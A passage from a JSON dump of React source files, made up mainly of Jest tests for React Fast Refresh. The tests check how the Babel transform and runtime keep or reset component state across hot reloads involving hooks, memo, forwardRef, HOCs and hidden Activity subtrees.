signature for exotic ways to call Hooks', () => {\n    expect(\n      transform(`\n        import FancyHook from 'fancy';\n\n        export default function App() {\n          function useFancyState() {\n            const [foo, setFoo] = React.useState(0);\n            useFancyEffect();\n            return foo;\n          }\n          const bar = useFancyState();\n          const baz = FancyHook.useThing();\n          React.useState();\n          useThePlatform();\n          return <h1>{bar}{baz}</h1>;\n        }\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('does not consider require-like methods to be HOCs', () => {\n    // None of these were declared in this file.\n    // It's bad to register them because that would trigger\n    // modules to execute in an environment with inline requires.\n    // So we expect the transform to skip all of them even though\n    // they are used in JSX.\n    expect(\n      transform(`\n        const A = require('A');\n        const B = foo ? require('X') : require('Y');\n        const C = requireCond(gk, 'C');\n        const D = import('D');\n\n        export default function App() {\n          return (\n            <div>\n              <A />\n              <B />\n              <C />\n              <D />\n            </div>\n          );\n        }\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('can handle implicit arrow returns', () => {\n    expect(\n      transform(`\n        export default () => useContext(X);\n        export const Foo = () => useContext(X);\n        module.exports = () => useContext(X);\n        const Bar = () => useContext(X);\n        const Baz = memo(() => useContext(X));\n        const Qux = () => (0, useContext(X));\n      `),\n    ).toMatchSnapshot();\n  });\n\n  it('uses custom identifiers for $RefreshReg$ and $RefreshSig$', () => {\n    expect(\n      transform(\n        `export default function Bar () {\n        useContext(X)\n        return <Foo />\n      };`,\n        {\n          freshOptions: {\n            refreshReg: 'import.meta.refreshReg',\n            refreshSig: 'import.meta.refreshSig',\n          },\n        },\n      ),\n    ).toMatchSnapshot();\n  });\n\n  it(\"respects Babel's envName option\", () => {\n    const envName = 'random';\n    expect(() =>\n      transform(`export default function BabelEnv () { return null };`, {\n        envName,\n        skipEnvCheck: false,\n      }),\n    ).toThrowError(\n      'React Refresh Babel transform should only be enabled in development environment. ' +\n        'Instead, the environment is: \"' +\n        envName +\n        '\". If you want to override this check, pass {skipEnvCheck: true} as plugin options.',\n    );\n  });\n\n  it('does not get tripped by IIFEs', () => {\n    expect(\n      transform(`\n        while (item) {\n          (item => {\n            useFoo();\n          })(item);\n        }\n      `),\n    ).toMatchSnapshot();\n  });\n\n  it('supports typescript namespace syntax', () => {\n    expect(\n      transform(\n        `\n        namespace Foo {\n          export namespace Bar {\n            export const A = () => {};\n\n            function B() {};\n            export const B1 = B;\n          }\n\n          export const C = () => {};\n          export function D() {};\n\n          namespace NotExported {\n            export const E = () => {};\n          }\n        }\n      `,\n        {plugins: [['@babel/plugin-syntax-typescript', {isTSX: true}]]},\n      ),\n    ).toMatchSnapshot();\n  });\n});\n"
  },
  {
    "path": "packages/react-refresh/src/__tests__/ReactFreshIntegration-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet ReactFreshRuntime;\nlet Scheduler;\nlet act;\nlet assertLog;\n\nconst babel = require('@babel/core');\nconst freshPlugin = require('react-refresh/babel');\nconst ts = require('typescript');\n\ndescribe('ReactFreshIntegration', () => {\n  let container;\n  let root;\n  let exportsObj;\n\n  beforeEach(() => {\n    if (__DEV__) {\n      jest.resetModules();\n      React = require('react');\n      ReactFreshRuntime = require('react-refresh/runtime');\n      ReactFreshRuntime.injectIntoGlobalHook(global);\n      ReactDOMClient = require('react-dom/client');\n      Scheduler = require('scheduler/unstable_mock');\n      ({act, assertLog} = require('internal-test-utils'));\n      container = document.createElement('div');\n      document.body.appendChild(container);\n      root = ReactDOMClient.createRoot(container);\n      exportsObj = undefined;\n    }\n  });\n\n  afterEach(() => {\n    if (__DEV__) {\n      root.unmount();\n      // Ensure we don't leak memory by holding onto dead roots.\n      expect(ReactFreshRuntime._getMountedRootCount()).toBe(0);\n      document.body.removeChild(container);\n    }\n  });\n\n  function executeJavaScript(source, compileDestructuring) {\n    const compiled = babel.transform(source, {\n      babelrc: false,\n      presets: ['@babel/react'],\n      plugins: [\n        [freshPlugin, {skipEnvCheck: true}],\n        '@babel/plugin-transform-modules-commonjs',\n        compileDestructuring && '@babel/plugin-transform-destructuring',\n      ].filter(Boolean),\n    }).code;\n    return executeCompiled(compiled);\n  }\n\n  function executeTypescript(source) {\n    const typescriptSource = babel.transform(source, {\n      babelrc: false,\n      configFile: false,\n      presets: ['@babel/react'],\n      plugins: [\n        [freshPlugin, {skipEnvCheck: true}],\n        ['@babel/plugin-syntax-typescript', {isTSX: true}],\n      ],\n    }).code;\n    const compiled = ts.transpileModule(typescriptSource, {\n      module: ts.ModuleKind.CommonJS,\n    }).outputText;\n    return executeCompiled(compiled);\n  }\n\n  function executeCompiled(compiled) {\n    exportsObj = {};\n    // eslint-disable-next-line no-new-func\n    new Function(\n      'global',\n      'require',\n      'React',\n      'Scheduler',\n      'exports',\n      '$RefreshReg$',\n      '$RefreshSig$',\n      compiled,\n    )(\n      global,\n      require,\n      React,\n      Scheduler,\n      exportsObj,\n      $RefreshReg$,\n      $RefreshSig$,\n    );\n    // Module systems will register exports as a fallback.\n    // This is useful for cases when e.g. a class is exported,\n    // and we don't want to propagate the update beyond this module.\n    $RefreshReg$(exportsObj.default, 'exports.default');\n    return exportsObj.default;\n  }\n\n  function $RefreshReg$(type, id) {\n    ReactFreshRuntime.register(type, id);\n  }\n\n  function $RefreshSig$() {\n    return ReactFreshRuntime.createSignatureFunctionForTransform();\n  }\n\n  describe.each([\n    [\n      'JavaScript syntax with destructuring enabled',\n      source => executeJavaScript(source, true),\n      testJavaScript,\n    ],\n    [\n      'JavaScript syntax with destructuring disabled',\n      source => executeJavaScript(source, false),\n      testJavaScript,\n    ],\n    ['TypeScript syntax', executeTypescript, testTypeScript],\n  ])('%s', (language, execute, runTest) => {\n    async function render(source) {\n      const Component = execute(source);\n      await act(() => {\n        root.render(<Component />);\n      });\n      // Module initialization shouldn't be counted as a hot update.\n      expect(ReactFreshRuntime.performReactRefresh()).toBe(null);\n    }\n\n    async function patch(source) {\n      const prevExports = exportsObj;\n      execute(source);\n      const nextExports = exportsObj;\n\n      // Check if exported families have changed.\n      // (In a real module system we'd do this for *all* exports.)\n      // For example, this can happen if you convert a class to a function.\n      // Or if you wrap something in a HOC.\n      const didExportsChange =\n        ReactFreshRuntime.getFamilyByType(prevExports.default) !==\n        ReactFreshRuntime.getFamilyByType(nextExports.default);\n      if (didExportsChange) {\n        // In a real module system, we would propagate such updates upwards,\n        // and re-execute modules that imported this one. (Just like if we edited them.)\n        // This makes adding/removing/renaming exports re-render references to them.\n        // Here, we'll just force a re-render using the newer type to emulate this.\n        const NextComponent = nextExports.default;\n        await act(() => {\n          root.render(<NextComponent />);\n        });\n      }\n      await act(() => {\n        const result = ReactFreshRuntime.performReactRefresh();\n        if (!didExportsChange) {\n          // Normally we expect that some components got updated in our tests.\n          expect(result).not.toBe(null);\n        } else {\n          // However, we have tests where we convert functions to classes,\n          // and in those cases it's expected nothing would get updated.\n          // (Instead, the export change branch above would take care of it.)\n        }\n      });\n      expect(ReactFreshRuntime._getMountedRootCount()).toBe(1);\n    }\n\n    runTest(render, patch);\n  });\n\n  function testJavaScript(render, patch) {\n    it('reloads function declarations', async () => {\n      if (__DEV__) {\n        await render(`\n          function Parent() {\n            return <Child prop=\"A\" />;\n          };\n\n          function Child({prop}) {\n            return <h1>{prop}1</h1>;\n          };\n\n          export default Parent;\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n        await patch(`\n          function Parent() {\n            return <Child prop=\"B\" />;\n          };\n\n          function Child({prop}) {\n            return <h1>{prop}2</h1>;\n          };\n\n          export default Parent;\n        `);\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B2');\n      }\n    });\n\n    it('reloads arrow functions', async () => {\n      if (__DEV__) {\n        await render(`\n          const Parent = () => {\n            return <Child prop=\"A\" />;\n          };\n\n          const Child = ({prop}) => {\n            return <h1>{prop}1</h1>;\n          };\n\n          export default Parent;\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n        await patch(`\n          const Parent = () => {\n            return <Child prop=\"B\" />;\n          };\n\n          const Child = ({prop}) => {\n            return <h1>{prop}2</h1>;\n          };\n\n          export default Parent;\n        `);\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B2');\n      }\n    });\n\n    it('reloads a combination of memo and forwardRef', async () => {\n      if (__DEV__) {\n        await render(`\n          const {memo} = React;\n\n          const Parent = memo(React.forwardRef(function (props, ref) {\n            return <Child prop=\"A\" ref={ref} />;\n          }));\n\n          const Child = React.memo(({prop}) => {\n            return <h1>{prop}1</h1>;\n          });\n\n          export default React.memo(Parent);\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n        await patch(`\n          const {memo} = React;\n\n          const Parent = memo(React.forwardRef(function (props, ref) {\n            return <Child prop=\"B\" ref={ref} />;\n          }));\n\n          const Child = React.memo(({prop}) => {\n            return <h1>{prop}2</h1>;\n          });\n\n          export default React.memo(Parent);\n        `);\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B2');\n      }\n    });\n\n    it('reloads default export with named memo', async () => {\n      if (__DEV__) {\n        await render(`\n          const {memo} = React;\n\n          const Child = React.memo(({prop}) => {\n            return <h1>{prop}1</h1>;\n          });\n\n          export default memo(React.forwardRef(function Parent(props, ref) {\n            return <Child prop=\"A\" ref={ref} />;\n          }));\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n        await patch(`\n          const {memo} = React;\n\n          const Child = React.memo(({prop}) => {\n            return <h1>{prop}2</h1>;\n          });\n\n          export default memo(React.forwardRef(function Parent(props, ref) {\n            return <Child prop=\"B\" ref={ref} />;\n          }));\n        `);\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B2');\n      }\n    });\n\n    // @gate __DEV__\n    it('ignores ref for class component in hidden subtree', async () => {\n      const code = `\n        import {Activity} from 'react';\n\n        // Avoid creating a new class on Fast Refresh.\n        global.A = global.A ?? class A extends React.Component {\n          render() {\n            return <div />;\n          }\n        }\n        const A = global.A;\n\n        function hiddenRef() {\n          throw new Error('Unexpected hiddenRef() invocation.');\n        }\n\n        export default function App() {\n          return (\n            <Activity mode=\"hidden\">\n              <A ref={hiddenRef} />\n            </Activity>\n          );\n        };\n      `;\n\n      await render(code);\n      await patch(code);\n    });\n\n    // @gate __DEV__\n    it('ignores ref for hoistable resource in hidden subtree', async () => {\n      const code = `\n        import {Activity} from 'react';\n\n        function hiddenRef() {\n          throw new Error('Unexpected hiddenRef() invocation.');\n        }\n\n        export default function App() {\n          return (\n            <Activity mode=\"hidden\">\n              <link rel=\"preload\" href=\"foo\" ref={hiddenRef} />\n            </Activity>\n          );\n        };\n      `;\n\n      await render(code);\n      await patch(code);\n    });\n\n    // @gate __DEV__\n    it('ignores ref for host component in hidden subtree', async () => {\n      const code = `\n        import {Activity} from 'react';\n\n        function hiddenRef() {\n          throw new Error('Unexpected hiddenRef() invocation.');\n        }\n\n        export default function App() {\n          return (\n            <Activity mode=\"hidden\">\n              <div ref={hiddenRef} />\n            </Activity>\n          );\n        };\n      `;\n\n      await render(code);\n      await patch(code);\n    });\n\n    // @gate __DEV__\n    it('ignores ref for Activity in hidden subtree', async () => {\n      const code = `\n        import {Activity} from 'react';\n\n        function hiddenRef(value) {\n          throw new Error('Unexpected hiddenRef() invocation.');\n        }\n\n        export default function App() {\n          return (\n            <Activity mode=\"hidden\">\n              <Activity mode=\"visible\" ref={hiddenRef}>\n                <div />\n              </Activity>\n            </Activity>\n          );\n        };\n      `;\n\n      await render(code);\n      await patch(code);\n    });\n\n    // @gate __DEV__\n    it('ignores ref for Scope in hidden subtree', async () => {\n      const code = `\n        import {\n          Activity,\n          unstable_Scope as Scope,\n        } from 'react';\n\n        function hiddenRef(value) {\n          throw new Error('Unexpected hiddenRef() invocation.');\n        }\n\n        export default function App() {\n          return (\n            <Activity mode=\"hidden\">\n              <Scope ref={hiddenRef}>\n                <div />\n              </Scope>\n            </Activity>\n          );\n        };\n      `;\n\n      await render(code);\n      await patch(code);\n    });\n\n    // @gate __DEV__\n    it('ignores ref for functional component in hidden subtree', async () => {\n      const code = `\n        import {Activity} from 'react';\n\n        // Avoid creating a new component on Fast Refresh.\n        global.A = global.A ?? function A() {\n          return <div />;\n        }\n        const A = global.A;\n\n        function hiddenRef() {\n          throw new Error('Unexpected hiddenRef() invocation.');\n        }\n\n        export default function App() {\n          return (\n            <Activity mode=\"hidden\">\n              <A ref={hiddenRef} />\n            </Activity>\n          );\n        };\n      `;\n\n      await render(code);\n      await patch(code);\n    });\n\n    // @gate __DEV__\n    it('ignores ref for ref forwarding component in hidden subtree', async () => {\n      const code = `\n        import {\n          forwardRef,\n          Activity,\n        } from 'react';\n\n        // Avoid creating a new component on Fast Refresh.\n        global.A = global.A ?? forwardRef(function A(props, ref) {\n          return <div ref={ref} />;\n        });\n        const A = global.A;\n\n        function hiddenRef() {\n          throw new Error('Unexpected hiddenRef() invocation.');\n        }\n\n        export default function App() {\n          return (\n            <Activity mode=\"hidden\">\n              <A ref={hiddenRef} />\n            </Activity>\n          );\n        };\n      `;\n\n      await render(code);\n      await patch(code);\n    });\n\n    // @gate __DEV__\n    it('ignores ref for simple memo component in hidden subtree', async () => {\n      const code = `\n        import {\n          memo,\n          Activity,\n        } from 'react';\n\n        // Avoid creating a new component on Fast Refresh.\n        global.A = global.A ?? memo(function A() {\n          return <div />;\n        });\n        const A = global.A;\n\n        function hiddenRef() {\n          throw new Error('Unexpected hiddenRef() invocation.');\n        }\n\n        export default function App() {\n          return (\n            <Activity mode=\"hidden\">\n              <A ref={hiddenRef} />\n            </Activity>\n          );\n        };\n      `;\n\n      await render(code);\n      await patch(code);\n    });\n\n    // @gate __DEV__\n    it('ignores ref for memo component in hidden subtree', async () => {\n      // A custom compare function means this won't use SimpleMemoComponent.\n      const code = `\n        import {\n          memo,\n          Activity,\n        } from 'react';\n\n        // Avoid creating a new component on Fast Refresh.\n        global.A = global.A ?? memo(\n          function A() {\n            return <div />;\n          },\n          () => false,\n        );\n        const A = global.A;\n\n        function hiddenRef() {\n          throw new Error('Unexpected hiddenRef() invocation.');\n        }\n\n        export default function App() {\n          return (\n            <Activity mode=\"hidden\">\n              <A ref={hiddenRef} />\n            </Activity>\n          );\n        };\n      `;\n\n      await render(code);\n      await patch(code);\n    });\n\n    it('reloads HOCs if they return functions', async () => {\n      if (__DEV__) {\n        await render(`\n          function hoc(letter) {\n            return function() {\n              return <h1>{letter}1</h1>;\n            }\n          }\n\n          export default function Parent() {\n            return <Child />;\n          }\n\n          const Child = hoc('A');\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n        await patch(`\n          function hoc(letter) {\n            return function() {\n              return <h1>{letter}2</h1>;\n            }\n          }\n\n          export default function Parent() {\n            return React.createElement(Child);\n          }\n\n          const Child = hoc('B');\n        `);\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B2');\n      }\n    });\n\n    it('resets state when renaming a state variable', async () => {\n      if (__DEV__) {\n        await render(`\n          const {useState} = React;\n          const S = 1;\n\n          export default function App() {\n            const [foo, setFoo] = useState(S);\n            return <h1>A{foo}</h1>;\n          }\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n\n        await patch(`\n          const {useState} = React;\n          const S = 2;\n\n          export default function App() {\n            const [foo, setFoo] = useState(S);\n            return <h1>B{foo}</h1>;\n          }\n        `);\n        // Same state variable name, so state is preserved.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B1');\n\n        await patch(`\n          const {useState} = React;\n          const S = 3;\n\n          export default function App() {\n            const [bar, setBar] = useState(S);\n            return <h1>C{bar}</h1>;\n          }\n        `);\n        // Different state variable name, so state is reset.\n        expect(container.firstChild).not.toBe(el);\n        const newEl = container.firstChild;\n        expect(newEl.textContent).toBe('C3');\n      }\n    });\n\n    it('resets state when renaming a state variable in a HOC', async () => {\n      if (__DEV__) {\n        await render(`\n          const {useState} = React;\n          const S = 1;\n\n          function hoc(Wrapped) {\n            return function Generated() {\n              const [foo, setFoo] = useState(S);\n              return <Wrapped value={foo} />;\n            };\n          }\n\n          export default hoc(({ value }) => {\n            return <h1>A{value}</h1>;\n          });\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n\n        await patch(`\n          const {useState} = React;\n          const S = 2;\n\n          function hoc(Wrapped) {\n            return function Generated() {\n              const [foo, setFoo] = useState(S);\n              return <Wrapped value={foo} />;\n            };\n          }\n\n          export default hoc(({ value }) => {\n            return <h1>B{value}</h1>;\n          });\n        `);\n        // Same state variable name, so state is preserved.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B1');\n\n        await patch(`\n          const {useState} = React;\n          const S = 3;\n\n          function hoc(Wrapped) {\n            return function Generated() {\n              const [bar, setBar] = useState(S);\n              return <Wrapped value={bar} />;\n            };\n          }\n\n          export default hoc(({ value }) => {\n            return <h1>C{value}</h1>;\n          });\n        `);\n        // Different state variable name, so state is reset.\n        expect(container.firstChild).not.toBe(el);\n        const newEl = container.firstChild;\n        expect(newEl.textContent).toBe('C3');\n      }\n    });\n\n    it('resets state when renaming a state variable in a HOC with indirection', async () => {\n      if (__DEV__) {\n        await render(`\n          const {useState} = React;\n          const S = 1;\n\n          function hoc(Wrapped) {\n            return function Generated() {\n              const [foo, setFoo] = useState(S);\n              return <Wrapped value={foo} />;\n            };\n          }\n\n          function Indirection({ value }) {\n            return <h1>A{value}</h1>;\n          }\n\n          export default hoc(Indirection);\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n\n        await patch(`\n          const {useState} = React;\n          const S = 2;\n\n          function hoc(Wrapped) {\n            return function Generated() {\n              const [foo, setFoo] = useState(S);\n              return <Wrapped value={foo} />;\n            };\n          }\n\n          function Indirection({ value }) {\n            return <h1>B{value}</h1>;\n          }\n\n          export default hoc(Indirection);\n        `);\n        // Same state variable name, so state is preserved.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B1');\n\n        await patch(`\n          const {useState} = React;\n          const S = 3;\n\n          function hoc(Wrapped) {\n            return function Generated() {\n              const [bar, setBar] = useState(S);\n              return <Wrapped value={bar} />;\n            };\n          }\n\n          function Indirection({ value }) {\n            return <h1>C{value}</h1>;\n          }\n\n          export default hoc(Indirection);\n        `);\n        // Different state variable name, so state is reset.\n        expect(container.firstChild).not.toBe(el);\n        const newEl = container.firstChild;\n        expect(newEl.textContent).toBe('C3');\n      }\n    });\n\n    it('resets state when renaming a state variable inside a HOC with direct call', async () => {\n      if (__DEV__) {\n        await render(`\n          const {useState} = React;\n          const S = 1;\n\n          function hocWithDirectCall(Wrapped) {\n            return function Generated() {\n              return Wrapped();\n            };\n          }\n\n          export default hocWithDirectCall(() => {\n            const [foo, setFoo] = useState(S);\n            return <h1>A{foo}</h1>;\n          });\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n\n        await patch(`\n          const {useState} = React;\n          const S = 2;\n\n          function hocWithDirectCall(Wrapped) {\n            return function Generated() {\n              return Wrapped();\n            };\n          }\n\n          export default hocWithDirectCall(() => {\n            const [foo, setFoo] = useState(S);\n            return <h1>B{foo}</h1>;\n          });\n        `);\n        // Same state variable name, so state is preserved.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B1');\n\n        await patch(`\n          const {useState} = React;\n          const S = 3;\n\n          function hocWithDirectCall(Wrapped) {\n            return function Generated() {\n              return Wrapped();\n            };\n          }\n\n          export default hocWithDirectCall(() => {\n            const [bar, setBar] = useState(S);\n            return <h1>C{bar}</h1>;\n          });\n        `);\n        // Different state variable name, so state is reset.\n        expect(container.firstChild).not.toBe(el);\n        const newEl = container.firstChild;\n        expect(newEl.textContent).toBe('C3');\n      }\n    });\n\n    it('does not crash when changing Hook order inside a HOC with direct call', async () => {\n      if (__DEV__) {\n        await render(`\n          const {useEffect} = React;\n\n          function hocWithDirectCall(Wrapped) {\n            return function Generated() {\n              return Wrapped();\n            };\n          }\n\n          export default hocWithDirectCall(() => {\n            useEffect(() => {}, []);\n            return <h1>A</h1>;\n          });\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('A');\n\n        await patch(`\n          const {useEffect} = React;\n\n          function hocWithDirectCall(Wrapped) {\n            return function Generated() {\n              return Wrapped();\n            };\n          }\n\n          export default hocWithDirectCall(() => {\n            useEffect(() => {}, []);\n            useEffect(() => {}, []);\n            return <h1>B</h1>;\n          });\n        `);\n        // Hook order changed, so we remount.\n        expect(container.firstChild).not.toBe(el);\n        const newEl = container.firstChild;\n        expect(newEl.textContent).toBe('B');\n      }\n    });\n\n    it('does not crash when changing Hook order inside a memo-ed HOC with direct call', async () => {\n      if (__DEV__) {\n        await render(`\n          const {useEffect, memo} = React;\n\n          function hocWithDirectCall(Wrapped) {\n            return memo(function Generated() {\n              return Wrapped();\n            });\n          }\n\n          export default hocWithDirectCall(() => {\n            useEffect(() => {}, []);\n            return <h1>A</h1>;\n          });\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('A');\n\n        await patch(`\n          const {useEffect, memo} = React;\n\n          function hocWithDirectCall(Wrapped) {\n            return memo(function Generated() {\n              return Wrapped();\n            });\n          }\n\n          export default hocWithDirectCall(() => {\n            useEffect(() => {}, []);\n            useEffect(() => {}, []);\n            return <h1>B</h1>;\n          });\n        `);\n        // Hook order changed, so we remount.\n        expect(container.firstChild).not.toBe(el);\n        const newEl = container.firstChild;\n        expect(newEl.textContent).toBe('B');\n      }\n    });\n\n    it('does not crash when changing Hook order inside a memo+forwardRef-ed HOC with direct call', async () => {\n      if (__DEV__) {\n        await render(`\n          const {useEffect, memo, forwardRef} = React;\n\n          function hocWithDirectCall(Wrapped) {\n            return memo(forwardRef(function Generated() {\n              return Wrapped();\n            }));\n          }\n\n          export default hocWithDirectCall(() => {\n            useEffect(() => {}, []);\n            return <h1>A</h1>;\n          });\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('A');\n\n        await patch(`\n          const {useEffect, memo, forwardRef} = React;\n\n          function hocWithDirectCall(Wrapped) {\n            return memo(forwardRef(function Generated() {\n              return Wrapped();\n            }));\n          }\n\n          export default hocWithDirectCall(() => {\n            useEffect(() => {}, []);\n            useEffect(() => {}, []);\n            return <h1>B</h1>;\n          });\n        `);\n        // Hook order changed, so we remount.\n        expect(container.firstChild).not.toBe(el);\n        const newEl = container.firstChild;\n        expect(newEl.textContent).toBe('B');\n      }\n    });\n\n    it('does not crash when changing Hook order inside a HOC returning an object', async () => {\n      if (__DEV__) {\n        await render(`\n          const {useEffect} = React;\n\n          function hocWithDirectCall(Wrapped) {\n            return {Wrapped: Wrapped};\n          }\n\n          export default hocWithDirectCall(() => {\n            useEffect(() => {}, []);\n            return <h1>A</h1>;\n          }).Wrapped;\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('A');\n\n        await patch(`\n          const {useEffect} = React;\n\n          function hocWithDirectCall(Wrapped) {\n            return {Wrapped: Wrapped};\n          }\n\n          export default hocWithDirectCall(() => {\n            useEffect(() => {}, []);\n            useEffect(() => {}, []);\n            return <h1>B</h1>;\n          }).Wrapped;\n        `);\n        // Hook order changed, so we remount.\n        expect(container.firstChild).not.toBe(el);\n        const newEl = container.firstChild;\n        expect(newEl.textContent).toBe('B');\n      }\n    });\n\n    it('resets effects while preserving state', async () => {\n      if (__DEV__) {\n        await render(`\n          const {useState} = React;\n\n          export default function App() {\n            const [value, setValue] = useState(0);\n            return <h1>A{value}</h1>;\n          }\n        `);\n        let el = container.firstChild;\n        expect(el.textContent).toBe('A0');\n\n        // Add an effect.\n        await patch(`\n          const {useState} = React;\n\n          export default function App() {\n            const [value, setValue] = useState(0);\n            React.useEffect(() => {\n              Scheduler.log('B mount');\n              setValue(1)\n              return () => {\n                Scheduler.log('B unmount');\n              };\n            }, []);\n            return <h1>B{value}</h1>;\n          }\n        `);\n\n        // We added an effect, thereby changing Hook order.\n        // This causes a remount.\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('B1');\n        assertLog(['B mount']);\n\n        await patch(`\n          const {useState} = React;\n\n          export default function App() {\n            const [value, setValue] = useState(0);\n            React.useEffect(() => {\n              Scheduler.log('C mount');\n              return () => {\n                Scheduler.log('C unmount');\n              };\n            }, []);\n            return <h1>C{value}</h1>;\n          }\n        `);\n        // Same Hooks are called, so state is preserved.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('C1');\n\n        // Effects are always reset, so effect B was unmounted and C was mounted.\n        assertLog(['B unmount', 'C mount']);\n\n        await patch(`\n          const {useState} = React;\n\n          export default function App() {\n            const [value, setValue] = useState(0);\n            return <h1>D{value}</h1>;\n          }\n        `);\n        // Removing the effect changes the signature\n        // and causes the component to remount.\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('D0');\n        assertLog(['C unmount']);\n      }\n    });\n\n    it('does not get confused when custom hooks are reordered', async () => {\n      if (__DEV__) {\n        await render(`\n          function useFancyState(initialState) {\n            return React.useState(initialState);\n          }\n\n          const App = () => {\n            const [x, setX] = useFancyState('X');\n            const [y, setY] = useFancyState('Y');\n            return <h1>A{x}{y}</h1>;\n          };\n\n          export default App;\n        `);\n        let el = container.firstChild;\n        expect(el.textContent).toBe('AXY');\n\n        await patch(`\n          function useFancyState(initialState) {\n            return React.useState(initialState);\n          }\n\n          const App = () => {\n            const [x, setX] = useFancyState('X');\n            const [y, setY] = useFancyState('Y');\n            return <h1>B{x}{y}</h1>;\n          };\n\n          export default App;\n        `);\n        // Same state variables, so no remount.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('BXY');\n\n        await patch(`\n          function useFancyState(initialState) {\n            return React.useState(initialState);\n          }\n\n          const App = () => {\n            const [y, setY] = useFancyState('Y');\n            const [x, setX] = useFancyState('X');\n            return <h1>B{x}{y}</h1>;\n          };\n\n          export default App;\n        `);\n        // Hooks were re-ordered. This causes a remount.\n        // Therefore, Hook calls don't accidentally share state.\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('BXY');\n      }\n    });\n\n    it('does not get confused when component is called early', async () => {\n      if (__DEV__) {\n        await render(`\n          // This isn't really a valid pattern but it's close enough\n          // to simulate what happens when you call ReactDOM.render\n          // in the same file. We want to ensure this doesn't confuse\n          // the runtime.\n          App();\n\n          function App() {\n            const [x, setX] = useFancyState('X');\n            const [y, setY] = useFancyState('Y');\n            return <h1>A{x}{y}</h1>;\n          };\n\n          function useFancyState(initialState) {\n            // No real Hook calls to avoid triggering invalid call invariant.\n            // We only want to verify that we can still call this function early.\n            return initialState;\n          }\n\n          export default App;\n        `);\n        let el = container.firstChild;\n        expect(el.textContent).toBe('AXY');\n\n        await patch(`\n          // This isn't really a valid pattern but it's close enough\n          // to simulate what happens when you call ReactDOM.render\n          // in the same file. We want to ensure this doesn't confuse\n          // the runtime.\n          App();\n\n          function App() {\n            const [x, setX] = useFancyState('X');\n            const [y, setY] = useFancyState('Y');\n            return <h1>B{x}{y}</h1>;\n          };\n\n          function useFancyState(initialState) {\n            // No real Hook calls to avoid triggering invalid call invariant.\n            // We only want to verify that we can still call this function early.\n            return initialState;\n          }\n\n          export default App;\n        `);\n        // Same state variables, so no remount.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('BXY');\n\n        await patch(`\n          // This isn't really a valid pattern but it's close enough\n          // to simulate what happens when you call ReactDOM.render\n          // in the same file. We want to ensure this doesn't confuse\n          // the runtime.\n          App();\n\n          function App() {\n            const [y, setY] = useFancyState('Y');\n            const [x, setX] = useFancyState('X');\n            return <h1>B{x}{y}</h1>;\n          };\n\n          function useFancyState(initialState) {\n            // No real Hook calls to avoid triggering invalid call invariant.\n            // We only want to verify that we can still call this function early.\n            return initialState;\n          }\n\n          export default App;\n        `);\n        // Hooks were re-ordered. This causes a remount.\n        // Therefore, Hook calls don't accidentally share state.\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('BXY');\n      }\n    });\n\n    it('does not get confused by Hooks defined inline', async () => {\n      // This is not a recommended pattern but at least it shouldn't break.\n      if (__DEV__) {\n        await render(`\n          const App = () => {\n            const useFancyState = (initialState) => {\n              const result = React.useState(initialState);\n              return result;\n            };\n            const [x, setX] = useFancyState('X1');\n            const [y, setY] = useFancyState('Y1');\n            return <h1>A{x}{y}</h1>;\n          };\n\n          export default App;\n        `);\n        let el = container.firstChild;\n        expect(el.textContent).toBe('AX1Y1');\n\n        await patch(`\n          const App = () => {\n            const useFancyState = (initialState) => {\n              const result = React.useState(initialState);\n              return result;\n            };\n            const [x, setX] = useFancyState('X2');\n            const [y, setY] = useFancyState('Y2');\n            return <h1>B{x}{y}</h1>;\n          };\n\n          export default App;\n        `);\n        // Remount even though nothing changed because\n        // the custom Hook is inside -- and so we don't\n        // really know whether its signature has changed.\n        // We could potentially make it work, but for now\n        // let's assert we don't crash with confusing errors.\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('BX2Y2');\n      }\n    });\n\n    it('remounts component if custom hook it uses changes order', async () => {\n      if (__DEV__) {\n        await render(`\n          const App = () => {\n            const [x, setX] = useFancyState('X');\n            const [y, setY] = useFancyState('Y');\n            return <h1>A{x}{y}</h1>;\n          };\n\n          const useFancyState = (initialState) => {\n            const result = useIndirection(initialState);\n            return result;\n          };\n\n          function useIndirection(initialState) {\n            return React.useState(initialState);\n          }\n\n          export default App;\n        `);\n        let el = 